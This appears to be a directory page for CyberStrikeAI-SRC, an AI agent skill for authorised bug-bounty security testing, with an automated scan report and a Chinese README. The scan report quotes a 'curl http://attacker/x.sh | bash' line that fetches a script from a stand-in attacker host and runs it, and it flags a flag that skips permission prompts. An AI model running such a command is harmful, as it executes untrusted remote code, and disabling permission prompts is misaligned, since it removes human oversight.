by langbyyi
# Add to your Claude Code skills
git clone https://github.com/langbyyi/CyberStrikeAI-SRCGuides for using ai agents skills like CyberStrikeAI-SRC.
Last scanned: 9/27/2026
{
"issues": [
{
"file": "skills/ci-cd-attack-testing/SKILL.md",
"line": 228,
"type": "remote-install",
"message": "Install command (remote install script piped to a shell — review the source before running): \"curl http://attacker/x.sh | bash\"",
"severity": "medium"
},
{
"file": "skills/cloud-security-audit/SKILL.md",
"line": 57,
"type": "dangerous-command",
"message": "Dangerous command (disables permission prompts): \"--dangerously-skip-permissions\"",
"severity": "medium"
}
],
"status": "PASSED",
"scannedAt": "2026-09-27T09:51:19.342Z",
"npmAuditRan": true,
"pipAuditRan": false,
"promptInjectionRan": true
}See how CyberStrikeAI-SRC compares with popular alternatives.
CyberStrikeAI-SRC is an open-source ai agents skill for AI coding assistants such as Claude Code, Codex CLI, and ChatGPT, built by langbyyi. It has 129 GitHub stars.
Yes. CyberStrikeAI-SRC passed SkillsLLM's automated security scan — a dependency vulnerability audit plus prompt-injection heuristics — with no high-severity issues. You can read the full report in the Security Report section on this page.
Clone the repository with "git clone https://github.com/langbyyi/CyberStrikeAI-SRC" and add it to your Claude Code skills directory (see the Installation section above).
CyberStrikeAI-SRC is primarily written in Go. It is open-source under langbyyi on GitHub, so you can review or fork the full source.
Yes. SkillsLLM lists many other AI Agents skills you can browse and compare side by side. Open the AI Agents category from the badge at the top of this page, or use the Related Skills and comparison links further down to weigh CyberStrikeAI-SRC against similar tools.
No comments yet. Be the first to share your thoughts!
⚠️ Third-Party Software Notice
This skill is third-party open-source software developed and hosted independently on GitHub. SkillsLLM is an informational directory and does not control or maintain the underlying repository.
Any security checks, ratings, or warnings displayed by SkillsLLM are automated and limited in scope. They do not constitute a security certification or guarantee that the software is safe, error-free, or free from malicious code, vulnerabilities, compromised dependencies, or prompt-injection risks.
Review the source code, permissions, dependencies, and configuration before installing or running any third-party skill. Use is at your own risk. To the maximum extent permitted by applicable law, SkillsLLM is not liable for losses arising from third-party software.
基于 CyberStrikeAI 的二开分支，专注授权 SRC 漏洞挖掘方向。
CyberStrikeAI 是一个 AI 原生安全测试平台（Go 实现）：通过 MCP 协议与 AI Agent，把自然语言指令编排成端到端的安全测试流程——从侦察、扫描、漏洞挖掘、攻击链分析到结果可视化，提供可审计、可追溯、可协作的测试环境。
本仓库是其二开分支，在完整平台能力之上，专注 SRC 漏洞挖掘方向做定向增强。
界面预览、插件、完整配置与工具清单请参阅官方仓库；本 README 侧重本分支的差异与 SRC 定位。
record_vulnerability 落库前校验本会话对该目标的真实完成工具探测证据，杜绝编造/不可复现漏洞入库。enterprise_src / edusrc / generic 三套模板，导出时选模板。fofa_search MCP 工具原生支持 fofa / quake / shodan / zoomeye 四引擎协议 + 自然语言转查询语法（官方仅有 HTTP handler，agent 无法调）；含多端点 fallback、size/total 语义归一化（中转站/官方 API 兼容）与路径自动补齐。browser-assisted-hunting skill 提供双账号越权对比 / DOM XSS 渲染取证 / 验证码登录 / 前端隐藏功能绕过打法，external_mcp 一段配置接入 Playwright 官方 MCP（示例见 config.example.yaml），浏览器工具调用同样计入可复现证据链。web_search MCP 工具（Tavily 驱动），Agent 可检索实时资讯、历史 CVE 与漏洞情报；websearch 配置段或 TAVILY_API_KEY 环境变量接入。exit(final_result=...) 真实执行后才允许最终化，过程说明不再被误判为最终回复；缺失完成信号时自动续跑兜底。当前基线 v1.7.20-src（已含官方 v1.7.20 及此前全部更新；SRC 方向增强完整保留）。
每次跟进官方版本一个 vX.Y.Z-src 提交 + 标签，完整变更清单见 git log --oneline；官方各版本说明见官方 Releases。个别官方默认值会按 SRC 场景调整（如 HITL 白名单未纳入红队向的 c2_event / c2_file / manage_webshell_list），差异均在同步提交的 commit message 中注明。
git clone https://github.com/langbyyi/CyberStrikeAI-SRC && cd CyberStrikeAI-SRC
./run.sh
首次启动会自动从 config.example.yaml 生成 config.yaml；服务启动后再按需填写模型、FOFA 和其他 API Key。
run.sh 会自动校验环境、拉取依赖、编译并启动服务。默认使用 HTTPS（自签证书 + HTTP/2）：
./run.sh --http./cyberstrike-ai --reset-admin-passwordconfig.yaml 的 ai.channels 段config.yaml 的 fofa / zoomeye / quake / shodan 段（api_key 或环境变量）更多配置见 config.example.yaml。